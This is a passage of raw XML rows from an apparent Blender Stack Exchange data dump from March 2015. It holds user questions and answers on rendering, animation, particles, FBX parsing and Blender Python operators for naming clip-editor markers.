  <row Id="26529" PostTypeId="2" ParentId="26525" CreationDate="2015-03-02T22:57:21.503" Score="1" Body="&lt;p&gt;When importing a video, you have to use the same frame rate. If you don't, the lenght of the video will change, but the audio will keep the same, resulting in a difference between audio and video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;25FPS video import with 25 FPS in render settings : audio and video have the same length&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tXV2K.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;25FPS video import with 30 FPS in render settings : video is shorter (same number of frames but 5 more every second)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5BU4a.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-02T22:57:21.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26530" PostTypeId="2" ParentId="26447" CreationDate="2015-03-02T23:16:00.810" Score="2" Body="&lt;p&gt;make sure &lt;strong&gt;use_disk_cache&lt;/strong&gt; is enabled or enable it before baking the cache : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object.modifiers['Smoke'].domain_settings.point_cache.use_disk_cache = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-02T23:16:00.810" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26531" PostTypeId="2" ParentId="26528" CreationDate="2015-03-02T23:32:42.773" Score="3" Body="&lt;p&gt;One way to do this is by using the Mask modifier :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the two meshes and click  &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;j&lt;/kbd&gt; to join them&lt;/li&gt;&#xA;&lt;li&gt;in edit mode assign each word to vertex group &lt;/li&gt;&#xA;&lt;li&gt;add Mask modifier and add the vertex group&lt;/li&gt;&#xA;&lt;li&gt;in animation &lt;kbd&gt;Right click&lt;/kbd&gt; on the icon next to the vertex group in the modifier and select add Keyframe &lt;/li&gt;&#xA;&lt;li&gt;clicking  the icon will switch the visible words&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y0R3u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lWkPu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;result :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N5ujl.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-03-02T23:39:29.640" LastActivityDate="2015-03-02T23:39:29.640" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26533" PostTypeId="1" AcceptedAnswerId="26534" CreationDate="2015-03-03T00:00:09.967" Score="1" ViewCount="1443" Body="&lt;p&gt;I need to precisely visualize one object's distance in order to properly tune 3D sound properties. How can I measure the distance between me (the camera) and said object?&lt;/p&gt;&#xA;" OwnerUserId="1608" LastActivityDate="2015-03-03T01:08:58.720" Title="How do I get the selected object's distance from the camera?" Tags="&lt;units&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ClosedDate="2015-03-03T07:40:52.533" ContentLicense="CC BY-SA 3.0" />
  <row Id="26534" PostTypeId="2" ParentId="26533" CreationDate="2015-03-03T00:04:57.727" Score="3" Body="&lt;p&gt;To get the distance between two objects in the scene :&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;setup a driver with the following settings &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;type : Scripted Expression&lt;/li&gt;&#xA;&lt;li&gt;expr : var&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;add new variable 'var' of type &lt;strong&gt;Distance&lt;/strong&gt;   &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;set the targets to the objects of interest&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now the driver value is the distance between these two object &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NMaKW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-03-03T01:08:58.720" LastActivityDate="2015-03-03T01:08:58.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26535" PostTypeId="1" AcceptedAnswerId="26539" CreationDate="2015-03-03T00:06:15.983" Score="3" ViewCount="9544" Body="&lt;p&gt;I'm modeling a simple night scene (with buildings, traffic lights, etc) to simulate you actually driving down the road. The rendered image looks like this. &lt;img src=&quot;https://i.stack.imgur.com/s4lsQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lighting in this image doesn't seem to be realistic and the building is too dark. I would want the buildings look like the one in the following image(with light coming from the building):&lt;img src=&quot;https://i.stack.imgur.com/IKjCB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to add light sources in the building, and make the material of the building glass as glass, the light is not visible. How do I create realistic lighting for the buildings? Thanks in advance for your reply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/58/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=58&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;. I changed the road material to be a solid color so I didn't have to worry about uploading texture images with the .blend file.&lt;/p&gt;&#xA;" OwnerUserId="9842" LastEditorUserId="-1" LastEditDate="2017-03-14T09:10:21.057" LastActivityDate="2015-03-04T00:07:17.777" Title="How to create realistic lighting at night in Blender Cycles" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26537" PostTypeId="1" AcceptedAnswerId="26538" CreationDate="2015-03-03T00:57:58.080" Score="2" ViewCount="96" Body="&lt;p&gt;When I import object B in my scene, It appears at origin 0, near object &lt;strong&gt;A&lt;/strong&gt; (which is keyframed). I cannot seem to move &lt;strong&gt;A&lt;/strong&gt; away from &lt;strong&gt;B&lt;/strong&gt; without &lt;strong&gt;B&lt;/strong&gt; loosely following... What is the relationship at work here? How can I move object &lt;strong&gt;A&lt;/strong&gt; without &lt;strong&gt;B&lt;/strong&gt; being affected?&lt;/p&gt;&#xA;" OwnerUserId="1608" LastEditorUserId="12" LastEditDate="2015-03-03T02:43:02.870" LastActivityDate="2015-03-03T02:43:02.870" Title="Object closely follows other object being moved" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-03-03T01:59:24.620" ContentLicense="CC BY-SA 3.0" />
  <row Id="26538" PostTypeId="2" ParentId="26537" CreationDate="2015-03-03T01:40:43.370" Score="1" Body="&lt;p&gt;Moving, rotating or scaling  an object while the Proportional editing is on will propagate the effect to neighbors objects &quot;or vertices in edit mode&quot; .&lt;br&gt;&#xA;you can toggle proportional editing ON and OFF in the 3D viewport from the icon or using the shortcut &lt;kbd&gt;O&lt;/kbd&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yBAJP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-03T01:40:43.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26539" PostTypeId="2" ParentId="26535" CreationDate="2015-03-03T03:22:50.743" Score="8" Body="&lt;p&gt;First of all, I noticed that your image has a pretty light-blank sky. (by which I mean that there really isn't light coming from it.) Light always comes from the sky, even at night. You can see the difference in the image you provided as a target.&lt;/p&gt;&#xA;&lt;p&gt;You need a HDRI (high dynamic range image). these can be found quite simply by Googling HDRI maps. You can also render your own from blender, but that's a different story. If you want to use your existing sky, it'll work, but it may look weird. Change the color setting of your sky to &lt;em&gt;environment&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I would also add an emission node to &lt;em&gt;some&lt;/em&gt; of the windows. if you increase the amount of your fog glow node this'll give nice results.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bqE5f.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/60/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=60&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now obviously you don't want a model that took four minutes to make, but you get the gist of it. What really makes the example picture you have nice is that there are reflections off of the interior walls. This can be accomplished with a glass shader and some lights &lt;em&gt;inside&lt;/em&gt; the building. Note that it will look better close up, worse far away, and better overall if you use a texture on the building. I used brick.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cgTOM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/63/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=63&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-03-04T00:07:17.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26540" PostTypeId="2" ParentId="26056" CreationDate="2015-03-03T03:34:04.113" Score="2" Body="&lt;p&gt;You're talking about this button in edit mode?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YMLuM.png&quot; alt=&quot;The Button&quot;&gt;&#xA;No, I don't think there's an object mode equivalent. I don't see how it would be very useful, however, what's the problem?&lt;/p&gt;&#xA;" OwnerUserId="11488" LastActivityDate="2015-03-03T03:34:04.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26541" PostTypeId="2" ParentId="26495" CreationDate="2015-03-03T03:54:04.873" Score="2" Body="&lt;p&gt;Instead of trying to get one particle system to emit in the right places you can add a new red sphere in the place and animate the visibility of it. The particle system on each sphere can also be set to emit at a specific frame. You can then add one curve object with a hook to animate the line linking each node together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can automate this task with a python script, with a list of data setup at the start you can easily adjust where the points are created. The script I created is a bit longer than expected so I will leave the whole thing &lt;a href=&quot;https://gist.github.com/sambler/273055c9a36eace8d384/&quot; rel=&quot;nofollow&quot;&gt;available on gist.github&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key points in the script are starting with a list of data for each point&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mainpoints = [&#xA;    [  1,  8, (-2.605,  0.796,  2.531)],&#xA;    [ 29, 10, (-1.228, -1.007, -0.235)],&#xA;    [ 58,  8, ( 1.917,  0.060,  1.495)],&#xA;    [ 75,  8, ( 3.430, -2.621,  1.495)],&#xA;    [ 92, 10, ( 1.296, -6.226,  2.644)],&#xA;    [110,  8, (-2.013, -4.600,  0.311)],&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each line is an array containing the frame, number of particles and location of each red sphere you want to generate. This can easily be altered or expanded for each project you do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next we setup a few variables that define what object gets replicated at each point and used for particles, then some particles options that you may want to adjust each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest of the script simply loops through each item in the mainpoints array and creates each item and adds the particle systems for each one. Then it creates a curve and animates the hook to travel to the next location. Along the way locations are keyframed so things are in the right position when they need to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any settings for the particle system can be added to the script and some variables can be set at the top of the script as I have done for easy adjustment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just revised &lt;a href=&quot;https://gist.github.com/sambler/273055c9a36eace8d384#file-datavisualise-py&quot; rel=&quot;nofollow&quot;&gt;the script&lt;/a&gt;. In revision 3 the script scans objects with a name starting with 'data-' and then takes two numbers from the name, the first is the frame to show and the second is the number of particles to emit. This replaces the rigid list of data and allows a visual placement of each point. The earlier revision can be accessed at the above link if it is desired.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2015-03-03T04:56:37.290" LastActivityDate="2015-03-03T04:56:37.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26542" PostTypeId="1" CreationDate="2015-03-03T04:38:19.983" Score="1" ViewCount="1109" Body="&lt;p&gt;I am doing a big animation project. I am doing some animation scenarios and I need to apply each one on different MakeHuman character (different men and women). So, once I finish the scenario, I export it under .bvh file. After that, I use the MakeWalk tools to load and retarget this scenario on a new person. Unfortunately, Mocap could not auto-detect aramture and show me this message &lt;img src=&quot;https://i.stack.imgur.com/jnHbu.png&quot; alt=&quot;error&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try with the proposed solution in MakeHuman website but they did not work. Here is my file &lt;a href=&quot;http://www.pasteall.org/blend/34796&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blender&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="11289" LastEditDate="2015-03-03T04:55:17.200" LastActivityDate="2015-03-03T04:55:17.200" Title="How can i get MakeWalk working" Tags="&lt;animation&gt;&lt;export&gt;&lt;armature&gt;&lt;makehuman&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26543" PostTypeId="1" AcceptedAnswerId="26545" CreationDate="2015-03-03T06:34:30.600" Score="1" ViewCount="1118" Body="&lt;p&gt;I have a mesh parented to an armature with animation. I wonder how I can export the mesh from blender at any pose I want, and if there is an option to save these poses in my blend project so that I can save the mesh deformations at certain poses and then delete the armature. If anyone could please advise.&lt;/p&gt;&#xA;" OwnerUserId="2517" LastActivityDate="2020-10-30T09:28:02.873" Title="Save a mesh posed with armature" Tags="&lt;animation&gt;&lt;mesh&gt;&lt;armature&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26544" PostTypeId="2" ParentId="26519" CreationDate="2015-03-03T07:33:10.503" Score="3" Body="&lt;p&gt;It is to do with the way blender links armatures into other files. In the final video of &lt;a href=&quot;https://cloud.blender.org/training/humane-rigging/&quot; rel=&quot;nofollow&quot;&gt;Humane Rigging&lt;/a&gt; Nathan says that non-control bones should be on layers that have protected enabled and control bones should be on un-protected layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even Nathan doesn't explain it much but it has something to do with the way armatures are linked between the original file and the proxy rig in another file. We are not meant to modify any rig bones in unprotected layers once the armature has a proxy rig in another file.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-03T07:33:10.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26545" PostTypeId="2" ParentId="26543" CreationDate="2015-03-03T08:09:04.123" Score="1" Body="&lt;p&gt;To store reusable poses you can use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Rigging/Posing/Pose_Library&quot; rel=&quot;nofollow noreferrer&quot;&gt;pose library&lt;/a&gt; this would still require a rig to restore.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yv4kw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you export to e.g. to a .obj-file you could store the mesh in different fixed poses without the armatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xyNYp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-03-03T08:09:04.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26546" PostTypeId="1" AcceptedAnswerId="26555" CreationDate="2015-03-03T08:50:09.047" Score="1" ViewCount="569" Body="&lt;p&gt;In the Movie-clip-editor:&#xA;Is it possible to make a button for adding a marker with a pre-defined name? &#xA;The code below I build a custom menu with button-names defined in a text-file. When clicked on a button you need to add a marker. The goal is to give that marker the name defined in the text-file. But for now just giving it a custom name (not Track.xxx) is OK.&#xA;I can not find a way to change the name when markers are created. So I tought of a workaround wich just renames a track/marker called &quot;Track&quot; to the custom name. But that code is executed before &quot;add_marker_at_click()&quot; is finished.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from __future__ import print_function&#xA;import bpy&#xA;import os&#xA;class addmarkers(bpy.types.Operator):&#xA;    &quot;&quot;&quot; This operator adds markers&#xA;        add marker and give it a good name&#xA;    &quot;&quot;&quot;&#xA;    bl_idname = &quot;wm.addmarkers&quot;&#xA;    bl_label = &quot;addmarkers&quot;&#xA;&#xA;    def execute(self, context):&#xA;        # lmc to add a marker and change the name of the track&#xA;&#xA;        bl_space_type='CLIP_EDITOR'&#xA;&#xA;        sc=context.space_data&#xA;        clip=sc.clip        &#xA;        bpy.ops.clip.add_marker_at_click('INVOKE_DEFAULT') #click to add a marker&#xA;&#xA;&#xA;&#xA;        #bpy.data.movieclips[&quot;test.avi&quot;].tracking.tracks[&quot;Track&quot;].name=&quot;TESTNAME&quot;&#xA;        #previous line is executed before add_marker_at_click is finished, so it doesn't work&#xA;        return {'FINISHED'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        return self.execute(context)&#xA;&#xA;&#xA;&#xA;class MARKERPANEL(bpy.types.Panel):&#xA;    bl_label = &quot;Add markers&quot;&#xA;    bl_space_type = &quot;CLIP_EDITOR&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;    bl_category = &quot;MARKERPANEL&quot;&#xA;&#xA;&#xA;    def draw(self, context):&#xA;        f = open('settings.txt', 'rt')&#xA;&#xA;        for line in f:        &#xA;&#xA;            layout = self.layout&#xA;            row = layout.row()&#xA;&#xA;            sc = context.space_data&#xA;            clip = context.space_data.clip&#xA;            row.operator(&quot;wm.addmarkers&quot;, text=line)&#xA;&#xA;bpy.utils.register_class(addmarkers)&#xA;bpy.utils.unregister_class(addmarkers)       &#xA;bpy.utils.register_class(MARKERPANEL)&#xA;bpy.utils.unregister_class(MARKERPANEL)   &#xA;bpy.utils.register_module(__name__)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for information: picture of the custom menu&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KFNcM.png&quot; alt=&quot;Custom Menu Markers&quot;&gt;  &lt;/p&gt;&#xA;" OwnerUserId="12925" LastActivityDate="2015-03-03T14:59:03.473" Title="Adding tracks/markers with a custom name?" Tags="&lt;python&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26547" PostTypeId="2" ParentId="26266" CreationDate="2015-03-03T09:15:40.520" Score="1" Body="&lt;p&gt;I couldn't fix the BGUI to solve the problem, but I found a workaround for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set a Left Mouse Button Sensor and connect it to a python controller that activates a callback function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if not own['sys'].layout.input._active == 1:&#xA;        own['sys'].layout.input.text = own['sys'].layout.input.text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12799" LastActivityDate="2015-03-03T09:15:40.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26549" PostTypeId="1" CreationDate="2015-03-03T12:03:35.187" Score="1" ViewCount="1112" Body="&lt;p&gt;I'm currently writing a Java parser for reading FBX binary files and rendering them in &lt;code&gt;OpenGL&lt;/code&gt; using the &lt;code&gt;LWJGL&lt;/code&gt; (Light-Weight Java Games Library). I have pretty much managed to parse everything thanks to a couple of blog posts by the Blender Foundation, but there is one more challenge remaining. I thought I'd try posting here given that the Blender guys are the only ones who have tried to outline the format in full.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As, hopefully, you already know, the file consists of a series of nodes which are in turn comprised of nested nodes. These nested nodes (you guessed it), also can contain nested nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how do I detected when a nested node belongs to the node above, and isn't a separate nested node? For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Node: Objects&amp;lt;br&amp;gt;&#xA;Nested Node: Model&amp;lt;br&amp;gt;&#xA;Nested Node: Properties60&amp;lt;br&amp;gt;&#xA;Nested Node: Property&amp;lt;br&amp;gt;&#xA;[Series of data types]&amp;lt;br&amp;gt;&#xA;Nested Node: Property&amp;lt;br&amp;gt;&#xA;[Series of data types]&amp;lt;br&amp;gt;&#xA;Nested Node: [NULL]&amp;lt;br&amp;gt;&#xA;Nested Node: [NULL]&amp;lt;br&amp;gt;&#xA;End of Objects&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this situation, Model contains within itself another nested node called &lt;code&gt;Properties60&lt;/code&gt;, which in turn contains several nested nodes, one for each property. You then have two &lt;code&gt;null Nested Nodes&lt;/code&gt; representing the end of that particular node (like a closing bracket I guess).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how do I detect the &lt;code&gt;&quot;opening&quot;&lt;/code&gt; bracket? So I know by looking at the above that each &lt;code&gt;&quot;Property&quot;&lt;/code&gt; nested node belongs to &lt;code&gt;Properties60&lt;/code&gt; and not to Model, but only because it makes sense to me as a human. How do I automatically detect that? I've tried examining each &lt;code&gt;unicode&lt;/code&gt; value for each byte and cannot find a consistent character that is used to denote a change in scope. I've also checked and there doesn't appear to be an end offset value for nested nodes to tell you how big it is like you have with Nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I missed something? I would much appreciate any help you can offer as it's the last piece of the puzzle for me :) Without it, I can't reliably tell when, for example, one model definition ends and another begins.&lt;/p&gt;&#xA;" OwnerUserId="12927" LastEditorUserId="25176" LastEditDate="2016-06-09T06:31:51.400" LastActivityDate="2016-06-09T06:31:51.400" Title="FBX Binary format - Nested Nodes" Tags="&lt;import&gt;&lt;file-format&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26550" PostTypeId="2" ParentId="17704" CreationDate="2015-03-03T12:14:37.170" Score="3" Body="&lt;p&gt;Another, more simple solution is to just make a longer emitter object. The emitter has to have more of a tube like shape, aligned to the path, and should be at least twice as long as the gap you get from the frame steps. The result of this method is pretty good.&lt;/p&gt;&#xA;" OwnerUserId="8235" LastActivityDate="2015-03-03T12:14:37.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26552" PostTypeId="1" AcceptedAnswerId="26559" CreationDate="2015-03-03T13:53:56.317" Score="5" ViewCount="523" Body="&lt;p&gt;Let's say I have 4 vertices and want to create a quad face with bmesh.&#xA;Is there way to figure out the right order of the vertices to not get a face like this&#xA;&lt;img src=&quot;https://i.stack.imgur.com/t5OSt.png&quot; alt=&quot;face with improper vertex order&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But rather a face like this.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0ly7H.png&quot; alt=&quot;face with correct vertex order&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12930" LastEditorUserId="2217" LastEditDate="2015-03-03T21:31:59.243" LastActivityDate="2015-03-04T08:59:59.633" Title="How can I find out the correct order of vertices to create a quad face with bmesh?" Tags="&lt;python&gt;&lt;vertices&gt;&lt;bmesh&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26553" PostTypeId="2" ParentId="26519" CreationDate="2015-03-03T14:00:07.503" Score="3" Body="&lt;p&gt;I found this differences:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you add some constraint (IK for example) to your source blend with protected layers, it will be also in your destination scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to key your pose, because it will be reseted after reloading.&lt;/p&gt;&#xA;" OwnerUserId="1910" LastEditorUserId="1910" LastEditDate="2015-03-05T06:15:29.797" LastActivityDate="2015-03-05T06:15:29.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26554" PostTypeId="1" CreationDate="2015-03-03T14:38:12.607" Score="1" ViewCount="734" Body="&lt;p&gt;I want to produce models with animations and skinning for a custom game engine. The engine supports import of assets in Collada or FBX format through the Assimp open source library. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically the models will be vehicles with moving parts and animated people inside. The models will typically have a diffuse texture, and maybe a normal map, as well as some basic material parameters, such as specularity and transparency/alpha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The in-game rendering will use custom GLSL shaders, so I will probably not be able to use much of the material data from Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With these preconditions, what rendering engine should I use in Blender when producing the assets? I have used both the default engine and Cycles. Cycles tend to look better during modeling, but I get various problems when exporting, such as textures not showing up (at least when exporting to FBX).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, what material system will translate best when exporting to Collada or FBX?&lt;/p&gt;&#xA;" OwnerUserId="12931" LastActivityDate="2015-03-03T14:38:12.607" Title="Recommended Blender rendering engine for game assets production" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;export&gt;&lt;blender-internal-render-engine&gt;&lt;collada&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-03-03T20:11:21.947" ContentLicense="CC BY-SA 3.0" />
  <row Id="26555" PostTypeId="2" ParentId="26546" CreationDate="2015-03-03T14:59:03.473" Score="1" Body="&lt;p&gt;&lt;code&gt;add_marker_at_click()&lt;/code&gt; is modal operator so it seems that it returns &lt;code&gt;'RUNNING_MODAL'&lt;/code&gt; and keeps running (waiting for user interactions) while your operator will finish without waiting for it , so I have used &lt;code&gt;add_marker()&lt;/code&gt; instead and changed the your operator to be a Modal operator ,also added how to pas the button name to the operator , but the problem is that i could not get the coordinates of the mouse in respect to the movie clip, so i have used the region where the movie is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import *&#xA;&#xA;class AddMarker(bpy.types.Operator):&#xA;    bl_idname = &quot;wm.addmarker&quot;&#xA;    bl_label = &quot;add markers with names&quot;&#xA;&#xA;    def __init__(self):&#xA;        print(&quot;Start&quot;)&#xA;&#xA;    def __del__(self):&#xA;        print(&quot;End&quot;)&#xA;&#xA;    x = bpy.props.IntProperty()&#xA;    y = bpy.props.IntProperty()&#xA;    name = bpy.props.StringProperty()&#xA;&#xA;    def execute(self, context):&#xA;        #using 'region' in this calculation  is wrong&#xA;        self.x -=bpy.context.region.x&#xA;        self.y -=bpy.context.region.y&#xA;        x = self.x/bpy.context.region.width&#xA;        y = self.y/bpy.context.region.height&#xA;        #add marker at that position&#xA;        bpy.ops.clip.add_marker(location=(x, y))&#xA;        #rename this marker&#xA;        bpy.data.movieclips[0].tracking.tracks.active.name=self.name&#xA;        #bpy.context.scene.active_clip.tracking.tracks.active.name=self.name&#xA;        return {'FINISHED'}&#xA;&#xA;    def modal(self, context, event):&#xA;&#xA;        if event.type == 'LEFTMOUSE':  &#xA;            self.x = event.mouse_x&#xA;            self.y = event.mouse_y &#xA;            self.execute(context)&#xA;            return {'FINISHED'}&#xA;&#xA;        elif event.type in ('RIGHTMOUSE', 'ESC'):  &#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        print(context.window_manager.modal_handler_add(self))&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;class MARKERPANEL(bpy.types.Panel):&#xA;    bl_label = &quot;Add markers&quot;&#xA;    bl_space_type = &quot;CLIP_EDITOR&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;    bl_category = &quot;MARKERPANEL&quot;&#xA;&#xA;&#xA;    def draw(self, context):&#xA;        f = ['left','right','floor','corner']&#xA;&#xA;        for line in f:        &#xA;&#xA;            layout = self.layout&#xA;            row = layout.row()&#xA;&#xA;            sc = context.space_data&#xA;            clip = context.space_data.clip&#xA;            row.operator(&quot;wm.addmarker&quot;, text=line).name = line&#xA;&#xA;bpy.utils.register_class(AddMarker)&#xA;bpy.utils.unregister_class(AddMarker)       &#xA;bpy.utils.register_class(MARKERPANEL)&#xA;bpy.utils.unregister_class(MARKERPANEL)   &#xA;bpy.utils.register_module(__name__)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-03T14:59:03.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
